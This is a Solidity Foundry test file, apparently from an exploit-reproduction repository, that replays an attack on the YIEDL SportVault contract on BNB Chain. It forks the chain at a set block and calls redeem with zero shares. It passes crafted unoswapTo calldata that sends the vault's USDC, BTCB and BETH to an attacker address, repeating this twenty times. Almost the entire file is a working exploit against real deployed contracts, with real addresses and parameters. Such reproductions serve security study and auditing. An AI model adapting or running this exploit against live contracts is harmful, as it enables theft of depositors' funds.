src/test/2024-04/YIEDL_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @Analysis
8// https://twitter.com/Phalcon_xyz/status/1782966566042181957
9// @TX
10// https://app.blocksec.com/explorer/tx/bsc/0x49ca5e188c538b4f2efb45552f13309cc0dd1f3592eee54decfc9da54620c2ec
11 
12interface ISportVault {
13    function redeem(
14        uint256 sharesToRedeem,
15        address receivingAsset,
16        uint256 minTokensToReceive,
17        bytes[] calldata dataList,
18        bool useDiscount
19    ) external returns (uint256 tokensToReturn);
20}
21 
22contract ContractTest is Test {
23    IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
24    IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
25    IERC20 BETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
26    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
27    ISportVault sportVault = ISportVault(0x4eDda16AB4f4cc46b160aBC42763BA63885862a4);
28 
29    address Attacker = address(0x1111111111111111111111111111111111111111);
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", 38_126_753);
33    }
34 
35    function testExploit() public {
36        bytes[] memory dataList = new bytes[](11); //@note mock data list - unoswapTo
37        uint256[] memory pools = new uint256[](1);
38        pools[0] = uint256(
39            28_948_022_309_329_048_857_350_594_136_651_893_637_891_169_795_467_361_725_136_627_244_723_734_772_827
40        );
41        dataList[0] = abi.encodeWithSignature(
42            "unoswapTo(address,address,uint256,uint256,uint256[])",
43            Attacker,
44            address(USDC),
45            2_331_516_232_778_274_153_239,
46            0,
47            pools
48        );
49 
50        pools[0] = uint256(
51            28_948_022_309_329_048_857_350_594_135_968_575_911_172_281_388_296_638_049_447_197_314_275_709_206_658
52        );
53        dataList[1] = abi.encodeWithSignature(
54            "unoswapTo(address,address,uint256,uint256,uint256[])",
55            Attacker,
56            address(BTCB),
57            16_071_737_934_381_556,
58            0,
59            pools
60        );
61 
62        pools[0] = uint256(
63            28_948_022_309_329_048_857_350_594_136_076_890_004_755_093_450_729_657_598_371_073_172_666_212_569_020
64        );
65        dataList[2] = abi.encodeWithSignature(
66            "unoswapTo(address,address,uint256,uint256,uint256[])",
67            Attacker,
68            address(BETH),
69            256_895_663_903_293_078,
70            0,
71            pools
72        );
73 
74        dataList[3] = new bytes(0);
75        dataList[4] = new bytes(0);
76        dataList[5] = new bytes(0);
77        dataList[6] = new bytes(0);
78        dataList[7] = new bytes(0);
79        dataList[8] = new bytes(0);
80        dataList[9] = new bytes(0);
81        dataList[10] = new bytes(0);
82 
83        console2.log("Attacker BNB balance before: ", Attacker.balance);
84 
85        for (uint256 i = 0; i < 20; i++) {
86            USDC.balanceOf(address(sportVault));
87            BTCB.balanceOf(address(sportVault));
88            BETH.balanceOf(address(sportVault));
89            BUSD.balanceOf(address(sportVault));
90 
91            sportVault.redeem(0, address(BUSD), 0, dataList, false);
92        }
93 
94        console2.log("Attacker BNB balance after: ", Attacker.balance);
95    }
96}